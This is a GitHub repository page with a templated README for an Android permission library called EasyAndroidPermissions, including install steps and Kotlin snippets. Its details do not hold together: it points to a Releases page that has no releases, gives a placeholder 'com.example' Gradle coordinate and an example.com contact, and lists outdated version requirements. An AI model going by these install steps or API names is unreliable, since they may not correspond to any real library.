Skip to content

πŸ” Simplify permission requests in Android using this lightweight library with Kotlin Coroutines for clean and efficient code in your apps.

License

calixtod/EasyAndroidPermissions

Repository files navigation

πŸš€ EasyAndroidPermissions - Simplify Your App's Permission Handling

Download EasyAndroidPermissions

πŸ“‹ Table of Contents

πŸ“– Overview

EasyAndroidPermissions is a lightweight library designed for Android developers. It allows you to handle runtime permissions easily using Kotlin coroutines and Jetpack Compose. This means no more confusing callbacks. You will use clean and simple suspend functions instead.

πŸ”§ Features

  • Lightweight: Small in size, so it won't slow down your app.
  • Easy to Use: Only a few lines of code required to manage permissions.
  • Jetpack Compose Support: Perfect for modern Android applications.
  • Kotlin Coroutines: Write cleaner, more readable code.
  • Lifecycle Awareness: Automatically handles activity and fragment lifecycles.
  • Thread Safe: Safe to use in multi-threading environments.

πŸ“¦ System Requirements

  • Android Version: Android 6.0 (API level 23) and above.
  • Kotlin: Version 1.3 or later.
  • Jetpack Compose: Version compatible with your project.
  • Android Studio: Latest stable version recommended.

πŸ“₯ Download & Install

To get started, visit this page to download: Download EasyAndroidPermissions.

Once on the Releases page:

  1. Look for the latest version.
  2. Click on it to view the available files.
  3. Download the .aar file.

If you're using Gradle, you can also add it directly to your project. Add the following line to your build.gradle file:

implementation 'com.example:easyandroidpermissions:x.x.x' // Replace x.x.x with the latest version

βš™οΈ Using the Library

Once you have the library in your project, follow these steps to use it:

  1. Initialize the Permission Manager: Begin by importing the necessary classes and initializing the permission manager in your activity or fragment.
import com.example.easyandroidpermissions.PermissionManager

class MainActivity : AppCompatActivity() {
    private val permissionManager = PermissionManager()
}
  1. Requesting Permissions: When you need to request permissions, simply call the requestPermission function.
val permissionResult = permissionManager.requestPermission(Manifest.permission.CAMERA)

if (permissionResult.isGranted) {
    // Permission granted, proceed with the action
} else {
    // Permission denied, handle accordingly
}
  1. Handling Permission Result: You can easily handle the result in a lifecycle-aware manner without needing to write callback methods.

  2. Suspending Functions: Use the suspend functions to manage permissions without hassle.

lifecycleScope.launch {
    val result = permissionManager.requestPermissionSuspend(Manifest.permission.CAMERA)

    if (result) {
        // Permission granted, proceed with the action
    } else {
        // Permission denied, inform the user
    }
}

❓ FAQs

1. What is EasyAndroidPermissions best used for? EasyAndroidPermissions simplifies the handling of runtime permissions in Android apps, especially for those using Kotlin and Jetpack Compose.

2. Can I use it with existing projects? Yes, you can easily integrate this library into your existing Android projects without any issues.

3. What if I need additional help? You can refer to the documentation in the repository or reach out through the contact section below.

πŸ“ž Contact

For questions or feedback, feel free to reach out:

  • Email: support@example.com
  • Issues: Please use the GitHub Issues tab in the repository for any technical questions or to report bugs.

Thank you for choosing EasyAndroidPermissions for your Android development needs!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages